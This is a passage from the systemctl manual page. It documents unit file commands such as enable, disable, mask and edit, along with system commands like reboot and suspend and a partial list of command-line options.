Enable one or more units or unit instances. This will create a set of symlinks, as encoded in the [Install] sections of the indicated unit files. After the symlinks have been created, the system manager configuration is reloaded (in a way equivalent to daemon-reload), in order to ensure the changes are taken into account immediately. Note that this does not have the effect of also starting any of the units being enabled. If this is desired, combine this command with the –now switch, or invoke start with appropriate arguments later. Note that in case of unit instance enablement (i.e. enablement of units of the form [email protected]), symlinks named the same as instances are created in the unit configuration directory, however they point to the single template unit file they are instantiated from.

This command expects either valid unit names (in which case various unit file directories are automatically searched for unit files with appropriate names), or absolute paths to unit files (in which case these files are read directly). If a specified unit file is located outside of the usual unit file directories, an additional symlink is created, linking it into the unit configuration path, thus ensuring it is found when requested by commands such as start. The file system where the linked unit files are located must be accessible when systemd is started (e.g. anything underneath /home/ or /var/ is not allowed, unless those directories are located on the root file system).

This command will print the file system operations executed. This output may be suppressed by passing –quiet.

Note that this operation creates only the symlinks suggested in the [Install] section of the unit files. While this command is the recommended way to manipulate the unit configuration directory, the administrator is free to make additional changes manually by placing or removing symlinks below this directory. This is particularly useful to create configurations that deviate from the suggested default installation. In this case, the administrator must make sure to invoke daemon-reload manually as necessary, in order to ensure the changes are taken into account.

When using this operation on units without install information, a warning about it is shown. –no-warn can be used to suppress the warning.

Enabling units should not be confused with starting (activating) units, as done by the start command. Enabling and starting units is orthogonal: units may be enabled without being started and started without being enabled. Enabling simply hooks the unit into various suggested places (for example, so that the unit is automatically started on boot or when a particular kind of hardware is plugged in). Starting actually spawns the daemon process (in case of service units), or binds the socket (in case of socket units), and so on.

Depending on whether –system, –user, –runtime, or –global is specified, this enables the unit for the system, for the calling user only, for only this boot of the system, or for all future logins of all users. Note that in the last case, no systemd daemon configuration is reloaded.

Using enable on masked units is not supported and results in an error.

disable UNIT**…**

Disables one or more units. This removes all symlinks to the unit files backing the specified units from the unit configuration directory, and hence undoes any changes made by enable or link. Note that this removes all symlinks to matching unit files, including manually created symlinks, and not just those actually created by enable or link. Note that while disable undoes the effect of enable, the two commands are otherwise not symmetric, as disable may remove more symlinks than a prior enable invocation of the same unit created.

This command expects valid unit names only, it does not accept paths to unit files.

In addition to the units specified as arguments, all units are disabled that are listed in the Also= setting contained in the [Install] section of any of the unit files being operated on.

This command implicitly reloads the system manager configuration after completing the operation. Note that this command does not implicitly stop the units that are being disabled. If this is desired, either combine this command with the –now switch, or invoke the stop command with appropriate arguments later.

This command will print information about the file system operations (symlink removals) executed. This output may be suppressed by passing –quiet.

If a unit gets disabled but its triggering units are still active, a warning containing the names of the triggering units is shown. –no-warn can be used to suppress the warning.

When this command is used with –user, the units being operated on might still be enabled in global scope, and thus get started automatically even after a successful disablement in user scope. In this case, a warning about it is shown, which can be suppressed using –no-warn.

This command honors –system, –user, –runtime, –global and –no-warn in a similar way as enable.

Added in version 238.

reenable UNIT**…**

Reenable one or more units, as specified on the command line. This is a combination of disable and enable and is useful to reset the symlinks a unit file is enabled with to the defaults configured in its [Install] section. This command expects a unit name only, it does not accept paths to unit files.

Added in version 238.

preset UNIT**…**

Reset the enable/disable status one or more unit files, as specified on the command line, to the defaults configured in the preset policy files. This has the same effect as disable or enable, depending how the unit is listed in the preset files.

Use –preset-mode= to control whether units shall be enabled and disabled, or only enabled, or only disabled.

If the unit carries no install information, it will be silently ignored by this command. UNIT must be the real unit name, any alias names are ignored silently.

For more information on the preset policy format, see systemd.preset(5).

Added in version 238.

preset-all

Resets all installed unit files to the defaults configured in the preset policy file (see above).

Use –preset-mode= to control whether units shall be enabled and disabled, or only enabled, or only disabled.

Added in version 215.

is-enabled UNIT**…**

Checks whether any of the specified unit files are enabled (as with enable). Returns an exit code of 0 if at least one is enabled, non-zero otherwise. Prints the current enable status (see table). To suppress this output, use –quiet. To show installation targets, use –full.

Table 2. is-enabled output

NameDescriptionExit Code
"enabled"Enabled via .wants/, .requires/ or Alias= symlinks (permanently in /etc/systemd/system/, or transiently in /run/systemd/system/).0
"enabled-runtime"
"linked"Made available through one or more symlinks to the unit file (permanently in /etc/systemd/system/ or transiently in /run/systemd/system/), even though the unit file might reside outside of the unit file search path.> 0
"linked-runtime"
"alias"The name is an alias (symlink to another unit file).0
"masked"Completely disabled, so that any start operation on it fails (permanently in /etc/systemd/system/ or transiently in /run/systemd/systemd/).> 0
"masked-runtime"
"static"The unit file is not enabled, and has no provisions for enabling in the [Install] unit file section.0
"indirect"The unit file itself is not enabled, but it has a non-empty Also= setting in the [Install] unit file section, listing other unit files that might be enabled, or it has an alias under a different name through a symlink that is not specified in Also=. For template unit files, an instance different than the one specified in DefaultInstance= is enabled.0
"disabled"The unit file is not enabled, but contains an [Install] section with installation instructions.> 0
"generated"The unit file was generated dynamically via a generator tool. See systemd.generator(7). Generated unit files may not be enabled, they are enabled implicitly by their generator.0
"transient"The unit file has been created dynamically with the runtime API. Transient units may not be enabled.0
"bad"The unit file is invalid or another error occurred. Note that is-enabled will not actually return this state, but print an error message instead. However the unit file listing printed by list-unit-files might show it.> 0
"not-found"The unit file doesnt exist.4

Added in version 238.

mask UNIT**…**

Mask one or more units, as specified on the command line. This will link these unit files to /dev/null, making it impossible to start them. This is a stronger version of disable, since it prohibits all kinds of activation of the unit, including enablement and manual activation. Use this option with care. This honors the –runtime option to only mask temporarily until the next reboot of the system. The –now option may be used to ensure that the units are also stopped. This command expects valid unit names only, it does not accept unit file paths.

Note that this will create a symlink under the units name in /etc/systemd/system/ (in case –runtime is not specified) or /run/systemd/system/ (in case –runtime is specified). If a matching unit file already exists under these directories this operation will hence fail. This means that the operation is primarily useful to mask units shipped by the vendor (as those are shipped in /usr/lib/systemd/system/ and not the aforementioned two directories), but typically doesnt work for units created locally (as those are typically placed precisely in the two aforementioned directories). Similar restrictions apply for –user mode, in which case the directories are below the users home directory however.

If a unit gets masked but its triggering units are still active, a warning containing the names of the triggering units is shown. –no-warn can be used to suppress the warning.

Added in version 238.

unmask UNIT**…**

Unmask one or more unit files, as specified on the command line. This will undo the effect of mask. This command expects valid unit names only, it does not accept unit file paths.

Added in version 238.

link PATH**…**

Link a unit file that is not in the unit file search path into the unit file search path. This command expects an absolute path to a unit file. The effect of this may be undone with disable. The effect of this command is that a unit file is made available for commands such as start, even though it is not installed directly in the unit search path. The file system where the linked unit files are located must be accessible when systemd is started (e.g. anything underneath /home/ or /var/ is not allowed, unless those directories are located on the root file system).

Added in version 233.

revert UNIT**…**

Revert one or more unit files to their vendor versions. This command removes drop-in configuration files that modify the specified units, as well as any user-configured unit file that overrides a matching vendor supplied unit file. Specifically, for a unit “foo.service” the matching directories “foo.service.d/” with all their contained files are removed, both below the persistent and runtime configuration directories (i.e. below /etc/systemd/system and /run/systemd/system); if the unit file has a vendor-supplied version (i.e. a unit file located below /usr/) any matching persistent or runtime unit file that overrides it is removed, too. Note that if a unit file has no vendor-supplied version (i.e. is only defined below /etc/systemd/system or /run/systemd/system, but not in a unit file stored below /usr/), then it is not removed. Also, if a unit is masked, it is unmasked.

Effectively, this command may be used to undo all changes made with systemctl edit, systemctl set-property and systemctl mask and puts the original unit file with its settings back in effect.

Added in version 230.

add-wants TARGET UNIT**…, add-requires TARGET UNIT…**

Adds “Wants=” or “Requires=” dependencies, respectively, to the specified TARGET for one or more units.

This command honors –system, –user, –runtime and –global in a way similar to enable.

Added in version 217.

edit UNIT**…**

Edit or replace a drop-in snippet or the main unit file, to extend or override the definition of the specified unit.

Depending on whether –system (the default), –user, or –global is specified, this command will operate on the system unit files, unit files for the calling user, or the unit files shared between all users.

The editor (see the “Environment” section below) is invoked on temporary files which will be written to the real location if the editor exits successfully. After the editing is finished, configuration is reloaded, equivalent to systemctl daemon-reload –system or systemctl daemon-reload –user. For edit –global, the reload is not performed and the edits will take effect only for subsequent logins (or after a reload is requested in a different way).

If –full is specified, a replacement for the main unit file will be created or edited. Otherwise, a drop-in file will be created or edited.

If –drop-in= is specified, the given drop-in file name will be used instead of the default override.conf.

The unit must exist, i.e. its main unit file must be present. If –force is specified, this requirement is ignored and a new unit may be created (with –full), or a drop-in for a nonexistent unit may be created.

If –runtime is specified, the changes will be made temporarily in /run/ and they will be lost on the next reboot.

If –stdin is specified, the new contents will be read from standard input. In this mode, the old contents of the file are discarded.

If the temporary file is empty upon exit, the modification of the related unit is canceled.

Note that this command cannot be used to remotely edit units and that you cannot temporarily edit units which are in /etc/, since they take precedence over /run/.

Added in version 218.

get-default

Return the default target to boot into. This returns the target unit name default.target is aliased (symlinked) to.

Added in version 205.

set-default TARGET

Set the default target to boot into. This sets (symlinks) the default.target alias to the given target unit.

Added in version 205.

Machine Commands

list-machines [PATTERN…]

List the host and all running local containers with their state. If one or more PATTERNs are specified, only containers matching one of them are shown.

Added in version 212.

Job Commands

list-jobs **[**PATTERN…]

List jobs that are in progress. If one or more PATTERNs are specified, only jobs for units matching one of them are shown.

When combined with –after or –before the list is augmented with information on which other job each job is waiting for, and which other jobs are waiting for it, see above.

Added in version 233.

cancel **[**JOB…]

Cancel one or more jobs specified on the command line by their numeric job IDs. If no job ID is specified, cancel all pending jobs.

Added in version 233.

Environment Commands

systemd supports an environment block that is passed to processes the manager spawns. The names of the variables can contain ASCII letters, digits, and the underscore character. Variable names cannot be empty or start with a digit. In variable values, most characters are allowed, but the whole sequence must be valid UTF-8. (Note that control characters like newline (NL), tab (TAB), or the escape character (ESC), are valid ASCII and thus valid UTF-8). The total length of the environment block is limited to _SC_ARG_MAX value defined by sysconf(3).

show-environment

Dump the systemd manager environment block. This is the environment block that is passed to all processes the manager spawns. The environment block will be dumped in straightforward form suitable for sourcing into most shells. If no special characters or whitespace is present in the variable values, no escaping is performed, and the assignments have the form “VARIABLE=value”. If whitespace or characters which have special meaning to the shell are present, dollar-single-quote escaping is used, and assignments have the form “VARIABLE=$value”. This syntax is known to be supported by bash(1), zsh(1), ksh(1), and busybox(1)s ash(1), but not dash(1) or fish(1).

Note that this shows the effective block, i.e. the combination of environment variables configured via configuration files, environment generators and via IPC (i.e. via the set-environment described below). At the moment a unit process is forked off this combined environment block will be further combined with per-unit environment variables, which are not visible in this command.

set-environment VARIABLE=VALUE**…**

Set one or more service manager environment variables, as specified on the command line. This command will fail if variable names and values do not conform to the rules listed above.

Note that this operates on an environment block separate from the environment block configured from service manager configuration and environment generators. Whenever a process is invoked the two blocks are combined (also incorporating any per-service environment variables), and passed to it. The show-environment verb will show the combination of the blocks, see above.

Added in version 233.

unset-environment VARIABLE**…**

Unset one or more systemd manager environment variables. If only a variable name is specified, it will be removed regardless of its value. If a variable and a value are specified, the variable is only removed if it has the specified value.

Note that this operates on an environment block separate from the environment block configured from service manager configuration and environment generators. Whenever a process is invoked the two blocks are combined (also incorporating any per-service environment variables), and passed to it. The show-environment verb will show the combination of the blocks, see above. Note that this means this command cannot be used to unset environment variables defined in the service manager configuration files or via generators.

Added in version 233.

import-environment VARIABLE…

Import all, one or more environment variables set on the client into the systemd manager environment block. If a list of environment variable names is passed, client-side values are then imported into the managers environment block. If any names are not valid environment variable names or have invalid values according to the rules described above, an error is raised. If no arguments are passed, the entire environment block inherited by the systemctl process is imported. In this mode, any inherited invalid environment variables are quietly ignored.

Importing of the full inherited environment block (calling this command without any arguments) is deprecated. A shell will set dozens of variables which only make sense locally and are only meant for processes which are descendants of the shell. Such variables in the global environment block are confusing to other processes.

Added in version 209.

Manager State Commands

daemon-reload

Reload the systemd manager configuration. This will rerun all generators (see systemd.generator(7)), reload all unit files, and recreate the entire dependency tree. While the daemon is being reloaded, all sockets systemd listens on behalf of user configuration will stay accessible.

This command should not be confused with the reload command.

daemon-reexec

Reexecute the systemd manager. This will serialize the manager state, reexecute the process and deserialize the state again. This command is of little use except for debugging and package upgrades. Sometimes, it might be helpful as a heavy-weight daemon-reload. While the daemon is being reexecuted, all sockets systemd listening on behalf of user configuration will stay accessible.

log-level [LEVEL]

If no argument is given, print the current log level of the manager. If an optional argument LEVEL is provided, then the command changes the current log level of the manager to LEVEL (accepts the same values as –log-level= described in systemd(1)).

Added in version 244.

log-target [TARGET]

If no argument is given, print the current log target of the manager. If an optional argument TARGET is provided, then the command changes the current log target of the manager to TARGET (accepts the same values as –log-target=, described in systemd(1)).

Added in version 244.

service-watchdogs [yes|no]

If no argument is given, print the current state of service runtime watchdogs of the manager. If an optional boolean argument is provided, then globally enables or disables the service runtime watchdogs (WatchdogSec=) and emergency actions (e.g. OnFailure= or StartLimitAction=); see systemd.service(5). The hardware watchdog is not affected by this setting.

Added in version 244.

System Commands

is-system-running

Checks whether the system is operational. This returns success (exit code 0) when the system is fully up and running, specifically not in startup, shutdown or maintenance mode, and with no failed services. Failure is returned otherwise (exit code non-zero). In addition, the current state is printed in a short string to standard output, see the table below. Use –quiet to suppress this output.

Use –wait to wait until the boot process is completed before printing the current state and returning the appropriate error status. If –wait is in use, states initializing or starting will not be reported, instead the command will block until a later state (such as running or degraded) is reached.

Table 3. is-system-running output

NameDescriptionExit Code
initializingEarly bootup, before basic.target is reached or the maintenance state entered.> 0
startingLate bootup, before the job queue becomes idle for the first time, or one of the rescue targets are reached.> 0
runningThe system is fully operational.0
degradedThe system is operational but one or more units failed.> 0
maintenanceThe rescue or emergency target is active.> 0
stoppingThe manager is shutting down.> 0
offlineThe manager is not running. Specifically, this is the operational state if an incompatible program is running as system manager (PID 1).> 0
unknownThe operational state could not be determined, due to lack of resources or another error cause.> 0

Added in version 215.

default

Enter default mode. This is equivalent to systemctl isolate default.target. This operation is blocking by default, use –no-block to request asynchronous behavior.

rescue

Enter rescue mode. This is equivalent to systemctl isolate rescue.target. This operation is blocking by default, use –no-block to request asynchronous behavior.

emergency

Enter emergency mode. This is equivalent to systemctl isolate emergency.target. This operation is blocking by default, use –no-block to request asynchronous behavior.

halt

Shut down and halt the system. This is mostly equivalent to systemctl start halt.target –job-mode=replace-irreversibly –no-block, but also prints a wall message to all users. This command is asynchronous; it will return after the halt operation is enqueued, without waiting for it to complete. Note that this operation will simply halt the OS kernel after shutting down, leaving the hardware powered on. Use systemctl poweroff for powering off the system (see below).

If combined with –force, shutdown of all running services is skipped, however all processes are killed and all file systems are unmounted or mounted read-only, immediately followed by the system halt. If –force is specified twice, the operation is immediately executed without terminating any processes or unmounting any file systems. This may result in data loss. Note that when –force is specified twice the halt operation is executed by systemctl itself, and the system manager is not contacted. This means the command should succeed even when the system manager has crashed.

If combined with –when=, shutdown will be scheduled after the given timestamp. And –when=cancel will cancel the shutdown.

poweroff

Shut down and power-off the system. This is mostly equivalent to systemctl start poweroff.target –job-mode=replace-irreversibly –no-block, but also prints a wall message to all users. This command is asynchronous; it will return after the power-off operation is enqueued, without waiting for it to complete.

This command honors –force and –when= in a similar way as halt.

reboot

Shut down and reboot the system.

This command mostly equivalent to systemctl start reboot.target –job-mode=replace-irreversibly –no-block, but also prints a wall message to all users. This command is asynchronous; it will return after the reboot operation is enqueued, without waiting for it to complete.

If the switch –reboot-argument= is given, it will be passed as the optional argument to the reboot(2) system call.

Options –boot-loader-entry=, –boot-loader-menu=, and –firmware-setup can be used to select what to do after the reboot. See the descriptions of those options for details.

This command honors –force and –when= in a similar way as halt.

If a new kernel has been loaded via kexec –load, a kexec will be performed instead of a reboot, unless “SYSTEMCTL_SKIP_AUTO_KEXEC=1” has been set. If a new root file system has been set up on “/run/nextroot/”, a soft-reboot will be performed instead of a reboot, unless “SYSTEMCTL_SKIP_AUTO_SOFT_REBOOT=1” has been set.

Added in version 246.

kexec

Shut down and reboot the system via kexec. This command will load a kexec kernel if one wasnt loaded yet or fail. A kernel may be loaded earlier by a separate step, this is particularly useful if a custom initrd or additional kernel command line options are desired. The –force can be used to continue without a kexec kernel, i.e. to perform a normal reboot. The final reboot step is equivalent to systemctl start kexec.target –job-mode=replace-irreversibly –no-block.

To load a kernel, an enumeration is performed following the Boot Loader Specification[1], and the default boot entry is loaded. For this step to succeed, the system must be using UEFI and the boot loader entries must be configured appropriately. bootctl list may be used to list boot entries, see bootctl(1).

This command is asynchronous; it will return after the reboot operation is enqueued, without waiting for it to complete.

This command honors –force and –when= similarly to halt.

If a new kernel has been loaded via kexec –load, a kexec will be performed when reboot is invoked, unless “SYSTEMCTL_SKIP_AUTO_KEXEC=1” has been set.

soft-reboot

Shut down and reboot userspace. This is equivalent to systemctl start soft-reboot.target –job-mode=replace-irreversibly –no-block. This command is asynchronous; it will return after the reboot operation is enqueued, without waiting for it to complete.

This command honors –force and –when= in a similar way as halt.

This operation only reboots userspace, leaving the kernel running. See systemd-soft-reboot.service(8) for details.

If a new root file system has been set up on “/run/nextroot/”, a soft-reboot will be performed when reboot is invoked, unless “SYSTEMCTL_SKIP_AUTO_SOFT_REBOOT=1” has been set.

Added in version 254.

exit [EXIT_CODE]

Ask the service manager to quit. This is only supported for user service managers (i.e. in conjunction with the –user option) or in containers and is equivalent to poweroff otherwise. This command is asynchronous; it will return after the exit operation is enqueued, without waiting for it to complete.

The service manager will exit with the specified exit code, if EXIT_CODE is passed.

Added in version 227.

switch-root [ROOT [INIT]]

Switches to a different root directory and executes a new system manager process below it. This is intended for use in the initrd, and will transition from the initrds system manager process (a.k.a. “init” process, PID 1) to the main system manager process which is loaded from the actual host root files system. This call takes two arguments: the directory that is to become the new root directory, and the path to the new system manager binary below it to execute as PID 1. If both are omitted or the former is an empty string it defaults to /sysroot/. If the latter is omitted or is an empty string, a systemd binary will automatically be searched for and used as service manager. If the system manager path is omitted, equal to the empty string or identical to the path to the systemd binary, the state of the initrds system manager process is passed to the main system manager, which allows later introspection of the state of the services involved in the initrd boot phase.

Added in version 209.

sleep

Put the system to sleep, through suspend, hibernate, hybrid-sleep, or suspend-then-hibernate. The sleep operation to use is automatically selected by systemd-logind.service(8). By default, suspend-then-hibernate is used, and falls back to suspend and then hibernate if not supported. Refer to SleepOperation= setting in logind.conf(5) for more details. This command is asynchronous, and will return after the sleep operation is successfully enqueued. It will not wait for the sleep/resume cycle to complete.

Added in version 256.

suspend

Suspend the system. This will trigger activation of the special target unit suspend.target. This command is asynchronous, and will return after the suspend operation is successfully enqueued. It will not wait for the suspend/resume cycle to complete.

If –force is specified, and systemd-logind returned error for the operation, the error will be ignored and the operation will be tried again directly through starting the target unit.

hibernate

Hibernate the system. This will trigger activation of the special target unit hibernate.target. This command is asynchronous, and will return after the hibernation operation is successfully enqueued. It will not wait for the hibernate/thaw cycle to complete.

This command honors –force in the same way as suspend.

hybrid-sleep

Hibernate and suspend the system. This will trigger activation of the special target unit hybrid-sleep.target. This command is asynchronous, and will return after the hybrid sleep operation is successfully enqueued. It will not wait for the sleep/wake-up cycle to complete.

This command honors –force in the same way as suspend.

Added in version 196.

suspend-then-hibernate

Suspend the system and hibernate it when the battery is low, or when the delay specified in systemd-sleep.conf elapsed. This will trigger activation of the special target unit suspend-then-hibernate.target. This command is asynchronous, and will return after the hybrid sleep operation is successfully enqueued. It will not wait for the sleep/wake-up or hibernate/thaw cycle to complete.

This command honors –force in the same way as suspend.

Added in version 240.

Parameter Syntax

Unit commands listed above take either a single unit name (designated as UNIT), or multiple unit specifications (designated as PATTERN…). In the first case, the unit name with or without a suffix must be given. If the suffix is not specified (unit name is “abbreviated”), systemctl will append a suitable suffix, “.service” by default, and a type-specific suffix in case of commands which operate only on specific unit types. For example,

systemctl start sshd

and

systemctl start sshd.service

are equivalent, as are

systemctl isolate default

and

systemctl isolate default.target

Note that (absolute) paths to device nodes are automatically converted to device unit names, and other (absolute) paths to mount unit names.

systemctl status /dev/sda

# systemctl status /home

are equivalent to:

systemctl status dev-sda.device

# systemctl status home.mount

In the second case, shell-style globs will be matched against the primary names of all units currently in memory; literal unit names, with or without a suffix, will be treated as in the first case. This means that literal unit names always refer to exactly one unit, but globs may match zero units and this is not considered an error.

Glob patterns use fnmatch(3), so normal shell-style globbing rules are used, and “*”, “?”, “[]” may be used. See glob(7) for more details. The patterns are matched against the primary names of units currently in memory, and patterns which do not match anything are silently skipped. For example:

systemctl stop “sshd@*.service”

will stop all [email protected] instances. Note that alias names of units, and units that arent in memory are not considered for glob expansion.

For unit file commands, the specified UNIT should be the name of the unit file (possibly abbreviated, see above), or the absolute path to the unit file:

systemctl enable foo.service

or

systemctl link /path/to/foo.service

OPTIONS

The following options are understood:

-t, –type=

The argument is a comma-separated list of unit types such as service and socket. When units are listed with list-units, list-dependencies, show, or status, only units of the specified types will be shown. By default, units of all types are shown.

As a special case, if one of the arguments is help, a list of allowed values will be printed and the program will exit.

–state=

The argument is a comma-separated list of unit LOAD, SUB, or ACTIVE states. When listing units with list-units, list-dependencies, show or status, show only those in the specified states. Use –state=failed or –failed to show only failed units.

As a special case, if one of the arguments is help, a list of allowed values will be printed and the program will exit.

Added in version 206.

-p, –property=

When showing unit/job/manager properties with the show command, limit display to properties specified in the argument. The argument should be a comma-separated list of property names, such as “MainPID”. Unless specified, all known properties are shown. If specified more than once, all properties with the specified names are shown. Shell completion is implemented for property names.

For the manager itself, systemctl show will show all available properties, most of which are derived or closely match the options described in systemd-system.conf(5).

Properties for units vary by unit type, so showing any unit (even a non-existent one) is a way to list properties pertaining to this type. Similarly, showing any job will list properties pertaining to all jobs. Properties for units are documented in systemd.unit(5), and the pages for individual unit types systemd.service(5), systemd.socket(5), etc.

-P

Equivalent to –value –property=, i.e. shows the value of the property without the property name or “=”. Note that using -P once will also affect all properties listed with -p/–property=.

Added in version 246.

-a, –all

When listing units with list-units, also show inactive units and units which are following other units. When showing unit/job/manager properties, show all properties regardless whether they are set or not.

To list all units installed in the file system, use the list-unit-files command instead.

When listing units with list-dependencies, recursively show dependencies of all dependent units (by default only dependencies of target units are shown).

When used with status, show journal messages in full, even if they include unprintable characters or are very long. By default, fields with unprintable characters are abbreviated as “blob data”. (Note that the pager may escape unprintable characters again.)

-r, –recursive

When listing units, also show units of local containers. Units of local containers will be prefixed with the container name, separated by a single colon character (":").

Added in version 212.

–reverse

Show reverse dependencies between units with list-dependencies, i.e. follow dependencies of type WantedBy=, RequiredBy=, UpheldBy=, PartOf=, BoundBy=, instead of Wants= and similar.

Added in version 203.

–after

With list-dependencies, show the units that are ordered before the specified unit. In other words, recursively list units following the After= dependency.

Note that any After= dependency is automatically mirrored to create a Before= dependency. Temporal dependencies may be specified explicitly, but are also created implicitly for units which are WantedBy= targets (see systemd.target(5)), and as a result of other directives (for example RequiresMountsFor=). Both explicitly and implicitly introduced dependencies are shown with list-dependencies.

When passed to the list-jobs command, for each printed job show which other jobs are waiting for it. May be combined with –before to show both the jobs waiting for each job as well as all jobs each job is waiting for.

Added in version 203.

–before

With list-dependencies, show the units that are ordered after the specified unit. In other words, recursively list units following the Before= dependency.

When passed to the list-jobs command, for each printed job show which other jobs it is waiting for. May be combined with –after to show both the jobs waiting for each job as well as all jobs each job is waiting for.

Added in version 212.

–with-dependencies

When used with status, cat, list-units, and list-unit-files, those commands print all specified units and the dependencies of those units.

Options –reverse, –after, –before may be used to change what types of dependencies are shown.

Added in version 245.

-l, –full

Do not ellipsize unit names, process tree entries, journal output, or truncate unit descriptions in the output of status, list-units, list-jobs, and list-timers.

Also, show installation targets in the output of is-enabled.

–value

When printing properties with show, only print the value, and skip the property name and “=”. Also see option -P above.

Added in version 230.

–show-types

When showing sockets, show the type of the socket.

Added in version 202.

–job-mode=

When queuing a new job, this option controls how to deal with already queued jobs. It takes one of “fail”, “replace”, “replace-irreversibly”, “isolate”, “ignore-dependencies”, “ignore-requirements”, “flush”, “triggering”, or “restart-dependencies”. Defaults to “replace”, except when the isolate command is used which implies the “isolate” job mode.

If “fail” is specified and a requested operation conflicts with a pending job (more specifically: causes an already pending start job to be reversed into a stop job or vice versa), cause the operation to fail.

If “replace” (the default) is specified, any conflicting pending job will be replaced, as necessary.

If “replace-irreversibly” is specified, operate like “replace”, but also mark the new jobs as irreversible. This prevents future conflicting transactions from replacing these jobs (or even being enqueued while the irreversible jobs are still pending). Irreversible jobs can still be cancelled using the cancel command. This job mode should be used on any transaction which pulls in shutdown.target.

“isolate” is only valid for start operations and causes all other units to be stopped when the specified unit is started. This mode is always used when the isolate command is used.

“flush” will cause all queued jobs to be canceled when the new job is enqueued.

If “ignore-dependencies” is specified, then all unit dependencies are ignored for this new job and the operation is executed immediately. If passed, no required units of the unit passed will be pulled in, and no ordering dependencies will be honored. This is mostly a debugging and rescue tool for the administrator and should not be used by applications.

“ignore-requirements” is similar to “ignore-dependencies”, but only causes the requirement dependencies to be ignored, the ordering dependencies will still be honored.

“triggering” may only be used with systemctl stop. In this mode, the specified unit and any active units that trigger it are stopped. See the discussion of Triggers= in systemd.unit(5) for more information about triggering units.

“restart-dependencies” may only be used with systemctl start. In this mode, dependencies of the specified unit will receive restart propagation, as if a restart job had been enqueued for the unit.

Added in version 209.

-T, –show-transaction

When enqueuing a unit job (for example as effect of a systemctl start invocation or similar), show brief information about all jobs enqueued, covering both the requested job and any added because of unit dependencies. Note that the output will only include jobs immediately part of the transaction requested. It is possible that service start-up program code run as effect of the enqueued jobs might request further jobs to be pulled in. This means that completion of the listed jobs might ultimately entail more jobs than the listed ones.

Added in version 242.

–fail

Shorthand for **–job-mode=**fail.

When used with the kill command, if no units were killed, the operation results in an error.

Added in version 227.

–check-inhibitors=

When system shutdown or sleep state is requested, this option controls checking of inhibitor locks. It takes one of “auto”, “yes” or “no”. Defaults to “auto”, which will behave like “yes” for interactive invocations (i.e. from a TTY) and “no” for non-interactive invocations. “yes” lets the request respect inhibitor locks. “no” lets the request ignore inhibitor locks.

Applications can establish inhibitor locks to prevent certain important operations (such as CD burning) from being interrupted by system shutdown or sleep. Any user may take these locks and privileged users may override these locks. If any locks are taken, shutdown and sleep state requests will normally fail (unless privileged). However, if “no” is specified or “auto” is specified on a non-interactive requests, the operation will be attempted. If locks are present, the operation may require additional privileges.

Option –force provides another way to override inhibitors.

Added in version 248.

-i

Shortcut for –check-inhibitors=no.

Added in version 198.

–dry-run

Just print what would be done. Currently supported by verbs halt, poweroff, reboot, kexec, suspend, hibernate, hybrid-sleep, suspend-then-hibernate, default, rescue, emergency, and exit.

Added in version 236.

-q, –quiet

Suppress printing of the results of various commands and also the hints about truncated log lines. This does not suppress output of commands for which the printed output is the only result (like show). Errors are always printed.

–no-warn

Dont generate the warnings shown by default in the following cases:

·

when systemctl is invoked without procfs mounted on /proc/,

·

when using enable or disable on units without install information (i.e. dont have or have an empty [Install] section),

·

when using disable combined with –user on units that are enabled in global scope,

·

when a stop-ped, disable-d, or mask-ed unit still has active triggering units,

·

when a unit file is changed and requires daemon-reload.

Added in version 253.

–no-block

Do not synchronously wait for the requested operation to finish. If this is not specified, the job will be verified, enqueued and systemctl will wait until the units start-up is completed. By passing this argument, it is only verified and enqueued. This option may not be combined with –wait.

–wait

When used with start or restart, synchronously wait for started units to terminate again. This option may not be combined with –no-block. Note that this will wait forever if any given unit never terminates (by itself or by getting stopped explicitly); particularly services which use “RemainAfterExit=yes”.

When used with is-system-running, wait until the boot process is completed before returning.

When used with kill, wait until the signalled units terminate. Note that this will wait forever if any given unit never terminates.

Added in version 232.

–user

Talk to the service manager of the calling user, rather than the service manager of the system.

–system

Talk to the service manager of the system. This is the implied default.

–failed

List units in failed state. This is equivalent to –state=failed.

Added in version 233.

–no-wall

Do not send wall message before halt, power-off and reboot.

–global

When used with enable and disable, operate on the global user configuration directory, thus enabling or disabling a unit file globally for all future logins of all users.

–no-reload

When used with enable and disable, do not implicitly reload daemon configuration after executing the changes.

–no-ask-password

When used with start and related commands, disables asking for passwords. Background services may require input of a password or passphrase string, for example to unlock system hard disks or cryptographic certificates. Unless this option is specified and the command is invoked from a terminal, systemctl will query the user on the terminal for the necessary secrets. Use this option to switch this behavior off. In this case, the password must be supplied by some other means (for example graphical password agents) or the service might fail. This also disables querying the user for authentication for privileged operations.

–kill-whom=

When used with kill, choose which processes to send a UNIX process signal to. Must be one of main, control or all to select whether to kill only the main process, the control process or all processes of the unit. The main process of the unit is the one that defines the life-time of it. A control process of a unit is one that is invoked by the manager to induce state changes of it. For example, all processes started due to the ExecStartPre=, ExecStop= or ExecReload= settings of service units are control processes. Note that there is only one control process per unit at a time, as only one state change is executed at a time. For services of type Type=forking, the initial process started by the manager for ExecStart= is a control process, while the process ultimately forked off by that one is then considered the main process of the unit (if it can be determined). This is different for service units of other types, where the process forked off by the manager for ExecStart= is always the main process itself. A service unit consists of zero or one main process, zero or one control process plus any number of additional processes. Not all unit types manage processes of these types however. For example, for mount units, control processes are defined (which are the invocations of /usr/bin/mount and /usr/bin/umount), but no main process is defined. If omitted, defaults to all.

Added in version 252.

**–kill-value=**INT

If used with the kill command, enqueues a signal along with the specified integer value parameter to the specified process(es). This operation is only available for POSIX Realtime Signals (i.e. –signal=SIGRTMIN+… or –signal=SIGRTMAX-…), and ensures the signals are generated via the sigqueue(3) system call, rather than kill(3). The specified value must be a 32-bit signed integer, and may be specified either in decimal, in hexadecimal (if prefixed with “0x”), octal (if prefixed with “0o”) or binary (if prefixed with “0b”)

If this option is used the signal will only be enqueued on the control or main process of the unit, never on other processes belonging to the unit, i.e. –kill-whom=all will only affect main and control processes but no other processes.

Added in version 254.

-s, –signal=

When used with kill, choose which signal to send to selected processes. Must be one of the well-known signal specifiers such as SIGTERM, SIGINT or SIGSTOP. If omitted, defaults to SIGTERM.

The special value “help” will list the known values and the program will exit immediately, and the special value “list” will list known values along with the numerical signal numbers and the program will exit immediately.

–what=

